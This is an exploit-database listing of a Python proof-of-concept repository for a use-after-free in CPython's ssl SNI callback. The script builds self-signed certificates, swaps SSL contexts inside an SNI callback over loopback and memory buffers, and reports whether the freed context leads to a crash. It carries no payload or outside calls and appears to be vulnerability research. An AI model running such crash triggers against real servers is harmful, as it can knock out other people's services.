Exploit database

GH-ad3690317132306c465bbd6893346523

abraxas/cve-2026-19445-sni-uaf

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-19445

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
abraxas/cve-2026-19445-sni-uafRevision 1abe075db9da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/poc.py

Python · 28,356 bytes
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Website : https://abraxaslabs.tech
#  GitHub  : https://github.com/abraxas
#  Twitter : @abraxas_null
#  Mail    : [email protected]
#
#  CVE: CVE-2026-19445 (Critical: 9.2)
#  Vendor: CPython ssl (Python Software Foundation)
#  Versions: CPython < 3.12.15, 3.13.0-3.13.15, 3.14.0-3.14.7
#  Impact: Server-side SNI SSLContext use-after-free
#  Requires: TLS client + SNI-switching server, loopback lab
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-19445"
_SITE = "https://abraxaslabs.tech"
_GH = "https://github.com/abraxas"
_XURL = "https://x.com/abraxas_null"
_XH = "@abraxas_null"
_EMAIL = "[email protected]"
_RST = "\033[0m"
_BLD = "\033[1m"


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    return f"\033[38;2;{r};{g};{b}m" if _on() else ""


_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line, y, n):
    width = max(len(line), 1)
    out = []
    q = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        if ch == '"':
            q = not q
            out.append(_rgb(*(255, 201, 70) if q else (255, 230, 0)) + ch)
            continue
        if q:
            out.append(_rgb(255, 230, 0) + ch)
            continue
        r, g, b = _rain(x, width)
        out.append(_rgb(r, g, b) + ch)
    return "".join(out) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(x) for x in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    cyan, mag = _rgb(0, 255, 249), _rgb(255, 0, 212)
    top = cyan + "╔" + "═" * (box_w - 2) + "╗" + _RST
    mid = mag + "╠" + "═" * (box_w - 2) + "╣" + _RST
    bot = cyan + "╚" + "═" * (box_w - 2) + "╝" + _RST

    def row(vis, rendered, border):
        return _rgb(*border) + "║" + _RST + " " + rendered + _RST + " " + _rgb(*border) + "║" + _RST

    lines = [top]
    title_l, title_r = " ABRAXAS LABS", "analyze · reverse · disclose"
    gap = max(content_w - len(title_l) - len(title_r), 1)
    title = (title_l + " " * gap + title_r)[:content_w].ljust(content_w)
    cells = []
    split, rstart = len(title_l), content_w - len(title_r)
    for i, ch in enumerate(title):
        if ch == " ":
            cells.append(ch)
        elif i < split:
            cells.append(_rgb(0, 255, 249) + _BLD + ch)
        elif i >= rstart:
            cells.append(_rgb(140, 155, 175) + ch)
        else:
            cells.append(ch)
    lines.append(row(title, "".join(cells) + _RST, (0, 255, 249)))
    lines.append(mid)
    cve_l = " " + _CVE
    cve_r = "authorized research only"
    rest = max(content_w - len(cve_l) - len(cve_r), 3)
    midtxt = " local lab ".center(rest)[:rest]
    cve_line = (cve_l + midtxt + cve_r)[:content_w].ljust(content_w)
    cells = []
    le, rs = len(cve_l), content_w - len(cve_r)
    for i, ch in enumerate(cve_line):
        if ch == " ":
            cells.append(ch)
        elif i < le:
            cells.append(_rgb(255, 77, 224) + _BLD + ch)
        elif i >= rs:
            cells.append(_rgb(57, 255, 20) + ch)
        else:
            cells.append(_rgb(255, 0, 212) + ch)
    lines.append(row(cve_line, "".join(cells) + _RST, (255, 0, 212)))
    lines.append(mid)
    n = len(_ART["abraxas"])
    for y, line in enumerate(_ART["abraxas"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    for y, line in enumerate(_ART["labs"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    lines.append(mid)
    for left, right in (("Website", _SITE), ("GitHub", _GH), ("X", _XH + "  " + _XURL), ("Mail", _EMAIL)):
        gap = max(content_w - 1 - len(left) - len(right), 1)
        vis = (" " + left + " " * gap + right)[:content_w].ljust(content_w)
        out = []
        left_end = 1 + len(left)
        right_start = content_w - len(right)
        for i, ch in enumerate(vis):
            if ch == " ":
                out.append(ch)
            elif i < left_end:
                out.append(_rgb(255, 230, 0) + ch)
            elif i >= right_start:
                out.append(_rgb(0, 255, 249) + ch)
            else:
                out.append(ch)
        lines.append(row(vis, "".join(out) + _RST, (255, 0, 212)))
    lines.append(bot)
    status = "[*]  abraxas!null ready on #labs   ·   " + _SITE
    scol = []
    for ch in status:
        if ch == " ":
            scol.append(ch)
        elif ch in "[]*":
            scol.append(_rgb(57, 255, 20) + ch)
        elif ch in "·#":
            scol.append(_rgb(255, 77, 224) + ch)
        else:
            scol.append(_rgb(232, 255, 248) + ch)
    lines.append(" " + "".join(scol) + _RST)
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    low = s.lower()
    if s.startswith("SUCCESS") or "success" == low[:7]:
        col = _rgb(57, 255, 20) + _BLD
    elif s.startswith("FAIL") or low.startswith("fail"):
        col = _rgb(255, 64, 96) + _BLD
    elif "user_id" in low:
        col = _rgb(255, 201, 70) + _BLD
    elif low.startswith("status=") or "status=" in low[:20]:
        col = _rgb(0, 255, 249)
    elif low.startswith("carrier"):
        col = _rgb(255, 0, 212)
    elif s.lstrip().startswith("{") or s.lstrip().startswith("["):
        col = _rgb(255, 230, 0)
    else:
        col = _rgb(232, 255, 248)
    kwargs = dict(kwargs)
    file = kwargs.get("file", _sys.stdout)
    if file is _sys.stdout or file is _sys.stderr:
        _builtins.print(col + s + _RST, **{k: v for k, v in kwargs.items() if k != "sep"})
    else:
        _builtins.print(*args, **kwargs)


print_abraxas_banner()
_builtins.print = _cprint

"""CVE-2026-19445 lab: server-side ssl.SSLContext SNI-callback UAF (CWE-416).

Oracle matches CPython Lib/test/test_ssl.py from PR 158504 / commit 0f63c2aa:
  - test_sni_callback_context_released_before_second_client_hello
  - test_sni_callback_context_released_and_callback_raises

MemoryBIO wrap_bio only for the UAF path. Loopback TCP 127.0.0.1:18500 is the
NEGATIVE long-lived listening-socket wrap (not affected). No exploit payload.
"""

import faulthandler
import gc
import os
import socket
import ssl
import subprocess
import sys
import threading
import traceback
import weakref
from collections.abc import Callable
from dataclasses import dataclass
from pathlib import Path
from typing import Literal, TypedDict

faulthandler.enable()

LABEL = "CVE-2026-19445"
WITNESS = "CVE-2026-19445-SNI-UAF-WITNESS"
LOOPBACK_DOC = "127.0.0.1:18500"
CLIENT_HOST = "127.0.0.1"
DISPATCH_ECDH_CURVE = "secp384r1"
LEAF_SUBJECT = "/CN=sni.lab"
LEAF_SAN = "subjectAltName=DNS:sni.lab,DNS:localhost,IP:127.0.0.1"
HANDSHAKE_ROUNDS = 30
SPAWN_TIMEOUT_S = 30
CLIENT_TIMEOUT_S = 5.0
GC_AFTER_WRAP = 2
GC_AFTER_SNI = 3
GC_AFTER_HANDSHAKE = 2
CRASH_EXIT_CODES = frozenset({132, 134, 136, 139})
Mode = Literal["all", "primary", "secondary", "negative"]
HRR_MAGIC = bytes.fromhex(
    "CF21AD74E59A6111BE1D8C021E65B891C2A211167ABB8C5E079E09E2C8A8339C"
)


@dataclass(frozen=True)
class LabConfig:
    hostname: str
    bind_host: str
    bind_port: int
    cert_dir: Path


class PumpResult(TypedDict):
    client: bool
    server: bool
    round: int
    error: str | None


def _config_from_env() -> LabConfig:
    here = Path(__file__).resolve().parent
    return LabConfig(
        hostname=os.environ.get("LAB_HOSTNAME", "sni.lab"),
        bind_host=os.environ.get("LAB_BIND_HOST", "0.0.0.0"),
        bind_port=int(os.environ.get("LAB_BIND_PORT", "18500")),
        cert_dir=Path(os.environ.get("LAB_CERT_DIR", str(here / "certs"))),
    )


CONFIG = _config_from_env()
HOSTNAME = CONFIG.hostname
BIND_HOST = CONFIG.bind_host
BIND_PORT = CONFIG.bind_port
CERT_DIR = CONFIG.cert_dir
POC_PATH = Path(__file__).resolve()


def log(msg: str) -> None:
    print(msg, flush=True)


def fail(reason: str) -> int:
    print(f"FAIL {LABEL} {reason} {WITNESS}", flush=True)
    return 1


def _collect(times: int) -> None:
    for _ in range(times):
        gc.collect()


def _log_prefixed(prefix: str, payload: dict[str, object]) -> dict[str, object]:
    for key, value in payload.items():
        log(f"{prefix}_{key}={value!r}")
    return payload


def _strip_repr(value: object) -> str:
    return str(value).strip().strip("'\"")


def _is_none_token(value: object) -> bool:
    if value is None:
        return False
    return _strip_repr(value) == "none"


def ensure_certs() -> tuple[Path, Path]:
    CERT_DIR.mkdir(parents=True, exist_ok=True)
    crt = CERT_DIR / "leaf.crt"
    key = CERT_DIR / "leaf.key"
    if crt.exists() and key.exists():
        return crt, key
    subprocess.run(
        [
            "openssl",
            "req",
            "-x509",
            "-newkey",
            "rsa:2048",
            "-sha256",
            "-days",
            "2",
            "-nodes",
            "-keyout",
            str(key),
            "-out",
            str(crt),
            "-subj",
            LEAF_SUBJECT,
            "-addext",
            LEAF_SAN,
        ],
        check=True,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )
    return crt, key


def make_client_ctx(cafile: Path) -> ssl.SSLContext:
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.minimum_version = ssl.TLSVersion.TLSv1_3
    ctx.check_hostname = True
    ctx.verify_mode = ssl.CERT_REQUIRED
    ctx.load_verify_locations(cafile=str(cafile))
    return ctx


def make_server_ctx(
    cert: Path,
    key: Path,
    *,
    ecdh: str | None = None,
) -> ssl.SSLContext:
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.minimum_version = ssl.TLSVersion.TLSv1_3
    ctx.load_cert_chain(certfile=str(cert), keyfile=str(key))
    if ecdh:
        ctx.set_ecdh_curve(ecdh)
    return ctx


def _wrap_bio_server(
    ctx: ssl.SSLContext,
) -> tuple[ssl.SSLObject, ssl.MemoryBIO, ssl.MemoryBIO]:
    incoming, outgoing = ssl.MemoryBIO(), ssl.MemoryBIO()
    server = ctx.wrap_bio(incoming, outgoing, server_side=True)
    return server, incoming, outgoing


def _serverhello_is_hrr(raw: bytes) -> bool:
    # TLSHandshake header (4) + legacy_version (2) + random (32), or body-only.
    if int.from_bytes(raw[:1], "big") == 2 and len(raw) >= 38 and raw[6:38] == HRR_MAGIC:
        return True
    if len(raw) >= 34 and raw[2:34] == HRR_MAGIC:
        return True
    return False


def install_hrr_probe(ctx: ssl.SSLContext, bucket: list[object]) -> None:
    def cb(
        conn: object,
        direction: str,
        version: object,
        content_type: object,
        msg_type: object,
        data: bytes | None,
    ) -> None:
        raw = bytes(data) if data is not None else b""
        bucket.append((direction, int(content_type), int(msg_type), len(raw)))
        if int(msg_type) == 2 and _serverhello_is_hrr(raw):
            bucket.append(("hrr", direction, len(raw)))

    ctx._msg_callback = cb  # CPython ssl private probe used by Lib/test/test_ssl.py


def pump_handshake(
    client: ssl.SSLObject,
    server: ssl.SSLObject,
    c_out: ssl.MemoryBIO,
    s_out: ssl.MemoryBIO,
    c_in: ssl.MemoryBIO,
    s_in: ssl.MemoryBIO,
    *,
    after_sni: Callable[[], bool] | None = None,
    rounds: int = HANDSHAKE_ROUNDS,
) -> PumpResult:
    client_ok = False
    server_ok = False
    sni_hook_done = False
    last_err: str | None = None
    for i in range(rounds):
        if after_sni is not None and not sni_hook_done:
            try:
                if after_sni():
                    sni_hook_done = True
            except Exception as exc:
                return {
                    "client": client_ok,
                    "server": server_ok,
                    "round": i,
                    "error": f"after_sni:{exc!r}",
                }
        for obj, which, out, peer_in in (
            (client, "client", c_out, s_in),
            (server, "server", s_out, c_in),
        ):
            already = client_ok if which == "client" else server_ok
            if not already:
                try:
                    obj.do_handshake()
                    if which == "client":
                        client_ok = True
                    else:
                        server_ok = True
                except ssl.SSLWantReadError:
                    pass
                except ssl.SSLWantWriteError:
                    pass
                except ssl.SSLError as exc:
                    last_err = repr(exc)
                    return {
                        "client": client_ok,
                        "server": server_ok,
                        "round": i,
                        "error": last_err,
                    }
            if out.pending:
                peer_in.write(out.read())
        if client_ok and server_ok:
            return {"client": True, "server": True, "round": i, "error": None}
    return {
        "client": client_ok,
        "server": server_ok,
        "round": rounds,
        "error": last_err or "timeout",
    }


def run_primary() -> dict[str, object]:
    cert, key = ensure_certs()
    log(f"sys.version={sys.version!r}")
    log(f"openssl={ssl.OPENSSL_VERSION}")
    log(f"hostname={HOSTNAME}")
    log("cert=certs/leaf.crt")

    client_ctx = make_client_ctx(cert)
    # Long-lived leaf context. Do not pin P-384 here: CPython's oracle only
    # restricts the dispatch context so the client default X25519 share forces HRR.
    leaf_ctx = make_server_ctx(cert, key)
    msgs: list[object] = []
    sni_calls: list[str | None] = []
    install_hrr_probe(client_ctx, msgs)
    install_hrr_probe(leaf_ctx, msgs)

    def make_server() -> tuple[
        ssl.SSLObject,
        ssl.MemoryBIO,
        ssl.MemoryBIO,
        weakref.ReferenceType[ssl.SSLContext],
    ]:
        dispatch_ctx = make_server_ctx(cert, key, ecdh=DISPATCH_ECDH_CURVE)
        install_hrr_probe(dispatch_ctx, msgs)

        def sni_cb(
            sslobj: ssl.SSLObject,
            server_name: str | None,
            ctx: ssl.SSLContext,
        ) -> None:
            sni_calls.append(server_name)
            sslobj.context = leaf_ctx

        dispatch_ctx.sni_callback = sni_cb
        server, s_in, s_out = _wrap_bio_server(dispatch_ctx)
        return server, s_in, s_out, weakref.ref(dispatch_ctx)

    # After return, only the SSL object should keep dispatch_ctx until SNI switch.
    server, s_in, s_out, dispatch_ref = make_server()
    _collect(GC_AFTER_WRAP)
    after_wrap_alive = dispatch_ref() is not None
    log(f"dispatch_ref_after_wrap={'alive' if after_wrap_alive else 'none'}")

    c_in, c_out = ssl.MemoryBIO(), ssl.MemoryBIO()
    client = client_ctx.wrap_bio(c_in, c_out, server_hostname=HOSTNAME)

    after_sni_gc = {"done": False, "none": False}

    def after_sni() -> bool:
        if not sni_calls:
            return False
        _collect(GC_AFTER_SNI)
        after_sni_gc["none"] = dispatch_ref() is None
        after_sni_gc["done"] = True
        log(f"dispatch_ref_after_sni_gc={'none' if after_sni_gc['none'] else 'alive'}")
        log(f"sni_calls_so_far={sni_calls!r}")
        return True

    result = pump_handshake(
        client, server, c_out, s_out, c_in, s_in, after_sni=after_sni
    )
    _collect(GC_AFTER_HANDSHAKE)
    after_hs_none = dispatch_ref() is None
    hrr = any(item[0] == "hrr" for item in msgs if isinstance(item, tuple))
    handshake = (
        "complete"
        if result.get("client") and result.get("server") and not result.get("error")
        else "incomplete"
    )
    cipher: object
    try:
        cipher = client.cipher()
    except (ssl.SSLError, ValueError) as exc:
        cipher = f"error:{exc!r}"
    out: dict[str, object] = {
        "python": sys.version,
        "dispatch_ref_after_wrap": "alive" if after_wrap_alive else "none",
        "dispatch_ref_after_sni_gc": (
            "none" if after_sni_gc["none"] else ("alive" if after_sni_gc["done"] else "no-sni")
        ),
        "dispatch_ref_after_handshake": "none" if after_hs_none else "alive",
        "sni_calls": len(sni_calls),
        "sni_name": sni_calls[0] if sni_calls else None,
        "hrr": "yes" if hrr else "no",
        "handshake": handshake,
        "pump": result,
        "cipher": cipher,
        "server_is_leaf": server.context is leaf_ctx,
        "msgs": len(msgs),
    }
    return _log_prefixed("primary", out)


def run_secondary() -> dict[str, object]:
    cert, key = ensure_certs()
    client_ctx = make_client_ctx(cert)
    leaf_ctx = make_server_ctx(cert, key)

    def sni_cb(
        sslobj: ssl.SSLObject,
        server_name: str | None,
        ctx: ssl.SSLContext,
    ) -> None:
        sslobj.context = leaf_ctx
        del ctx
        raise LookupError(f"no certificate for {server_name!r}")

    def make_server() -> tuple[
        ssl.SSLObject,
        ssl.MemoryBIO,
        ssl.MemoryBIO,
        weakref.ReferenceType[ssl.SSLContext],
    ]:
        dispatch_ctx = make_server_ctx(cert, key)
        dispatch_ctx.sni_callback = sni_cb
        server, s_in, s_out = _wrap_bio_server(dispatch_ctx)
        return server, s_in, s_out, weakref.ref(dispatch_ctx)

    unraisable: list[str] = []

    def hook(args: sys.UnraisableHookArgs) -> None:
        unraisable.append(repr(args.exc_value))

    old_hook = sys.unraisablehook
    sys.unraisablehook = hook
    server_err: str | None = None
    switched = False
    freed = False
    try:
        server, s_in, s_out, dispatch_ref = make_server()
        c_in, c_out = ssl.MemoryBIO(), ssl.MemoryBIO()
        client = client_ctx.wrap_bio(c_in, c_out, server_hostname=HOSTNAME)
        try:
            client.do_handshake()
        except ssl.SSLWantReadError:
            pass
        s_in.write(c_out.read())
        try:
            server.do_handshake()
        except ssl.SSLError as exc:
            server_err = f"{type(exc).__name__}:{exc}"
        switched = server.context is leaf_ctx
        _collect(GC_AFTER_HANDSHAKE)
        freed = dispatch_ref() is None
    finally:
        sys.unraisablehook = old_hook
    out: dict[str, object] = {
        "server_error": server_err,
        "unraisable": unraisable,
        "switched_to_leaf": switched,
        "dispatch_freed": freed,
        "crash": "no",
    }
    return _log_prefixed("secondary", out)


def run_negative() -> dict[str, object]:
    cert, key = ensure_certs()
    ctx = make_server_ctx(cert, key)
    ctx.sni_callback = lambda sslobj, server_name, c: None
    ref = weakref.ref(ctx)
    handshake_ok = False
    err: str | None = None
    bound = f"{BIND_HOST}:{BIND_PORT}"
    raw: socket.socket | None = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    raw.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    wrapped: ssl.SSLSocket | None = None
    alive = False
    try:
        raw.bind((BIND_HOST, BIND_PORT))
        raw.listen(1)
        wrapped = ctx.wrap_socket(raw, server_side=True)
        raw = None

        def client_fn() -> None:
            cctx = make_client_ctx(cert)
            with socket.create_connection(
                (CLIENT_HOST, BIND_PORT), timeout=CLIENT_TIMEOUT_S
            ) as sock:
                with cctx.wrap_socket(sock, server_hostname=HOSTNAME) as ssock:
                    ssock.sendall(b"ping")
                    ssock.recv(16)

        worker = threading.Thread(target=client_fn, daemon=True)
        worker.start()
        conn, _addr = wrapped.accept()
        with conn:
            got = conn.recv(16)
            conn.sendall(b"pong")
            handshake_ok = got == b"ping"
        worker.join(timeout=CLIENT_TIMEOUT_S)
        _collect(GC_AFTER_HANDSHAKE)
        alive = ref() is not None
    except (OSError, ssl.SSLError, TimeoutError) as exc:
        err = repr(exc)
        alive = ref() is not None
        handshake_ok = False
    finally:
        if wrapped is not None:
            wrapped.close()
        if raw is not None:
            raw.close()
    out: dict[str, object] = {
        "label": "NEGATIVE",
        "bound": bound,
        "handshake": "complete" if handshake_ok else "incomplete",
        "weakref_alive": "yes" if alive else "no",
        "error": err,
    }
    return _log_prefixed("negative", out)


def _parse_mode(argv: list[str]) -> Mode:
    if argv[:2] == ["--mode", "primary"]:
        return "primary"
    if argv[:2] == ["--mode", "secondary"]:
        return "secondary"
    if argv[:2] == ["--mode", "negative"]:
        return "negative"
    return "all"


def _spawn(mode: Mode) -> dict[str, object]:
    env = os.environ.copy()
    env["PYTHONUNBUFFERED"] = "1"
    proc = subprocess.run(
        [sys.executable, "-u", str(POC_PATH), "--mode", mode],
        capture_output=True,
        text=True,
        env=env,
        timeout=SPAWN_TIMEOUT_S,
        check=False,
    )
    signal_name: str | None = None
    if proc.returncode and proc.returncode < 0:
        signal_name = str(-proc.returncode)
    crashed = proc.returncode < 0 or proc.returncode in CRASH_EXIT_CODES
    log(f"spawn_{mode}_rc={proc.returncode}")
    if signal_name:
        log(f"spawn_{mode}_signal={signal_name}")
    if proc.stdout:
        for line in proc.stdout.splitlines():
            log(line)
    if proc.stderr:
        log(f"spawn_{mode}_stderr_tail={proc.stderr[-2000:]}")
    parsed: dict[str, object] = {}
    prefix = f"{mode}_"
    for line in (proc.stdout or "").splitlines():
        if line.startswith(prefix) and "=" in line:
            key, value = line.split("=", 1)
            parsed[key[len(prefix) :]] = value
    parsed["rc"] = proc.returncode
    parsed["crash"] = "yes" if crashed else "no"
    parsed["signal"] = signal_name
    return parsed


def main() -> int:
    mode = _parse_mode(sys.argv[1:])

    log(f"sys.version={sys.version!r}")
    log(f"openssl={ssl.OPENSSL_VERSION}")
    log(
        f"loopback_doc={LOOPBACK_DOC} bind={BIND_HOST}:{BIND_PORT} "
        "(MemoryBIO needs no port)"
    )

    if mode == "primary":
        run_primary()
        return 0
    if mode == "secondary":
        run_secondary()
        return 0
    if mode == "negative":
        run_negative()
        return 0

    primary = _spawn("primary")
    secondary = _spawn("secondary")
    try:
        negative: dict[str, object] = run_negative()
    except Exception as exc:
        log(f"negative_exception={exc!r}")
        log(traceback.format_exc())
        negative = {"label": "NEGATIVE", "error": repr(exc), "weakref_alive": "unknown"}

    # Spawned values are repr()'d strings: "'none'" or "none" depending on parse.
    gc_yes = _is_none_token(primary.get("dispatch_ref_after_sni_gc")) or _is_none_token(
        primary.get("dispatch_ref_after_handshake")
    )
    hs_complete = _strip_repr(primary.get("handshake", "")) == "complete"
    hrr = _strip_repr(primary.get("hrr", ""))
    primary_crash = primary.get("crash") == "yes"
    secondary_crash = secondary.get("crash") == "yes"

    log(f"oracle_dispatch_gc={'yes' if gc_yes else 'no'}")
    log(
        "oracle_handshake="
        f"{'crash' if primary_crash else ('complete' if hs_complete else 'incomplete')}"
    )
    log(f"oracle_hrr={hrr or 'unknown'}")
    log(f"oracle_primary_crash={primary_crash}")
    log(f"oracle_secondary_crash={secondary_crash}")
    log(
        f"oracle_negative={negative.get('label')} "
        f"weakref_alive={negative.get('weakref_alive')} "
        f"handshake={negative.get('handshake')}"
    )

    handshake_field = (
        "crash" if primary_crash else ("complete" if hs_complete else "incomplete")
    )
    if gc_yes and (hs_complete or primary_crash or secondary_crash):
        log(
            f"SUCCESS {LABEL} dispatch_ctx_gc=yes handshake={handshake_field} "
            f"hrr={hrr or 'unknown'} "
            f"secondary_crash={'yes' if secondary_crash else 'no'} {WITNESS}"
        )
        return 0
    if primary_crash or secondary_crash:
        log(
            f"SUCCESS {LABEL} dispatch_ctx_gc={'yes' if gc_yes else 'unknown'} "
            f"handshake={handshake_field} hrr={hrr or 'unknown'} "
            f"secondary_crash={'yes' if secondary_crash else 'no'} {WITNESS}"
        )
        return 0
    log(
        f"FAIL {LABEL} dispatch_ctx_gc={'yes' if gc_yes else 'no'} "
        f"handshake={handshake_field} hrr={hrr or 'unknown'} {WITNESS}"
    )
    return 1


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except Exception:
        traceback.print_exc()
        raise SystemExit(fail("unhandled-exception"))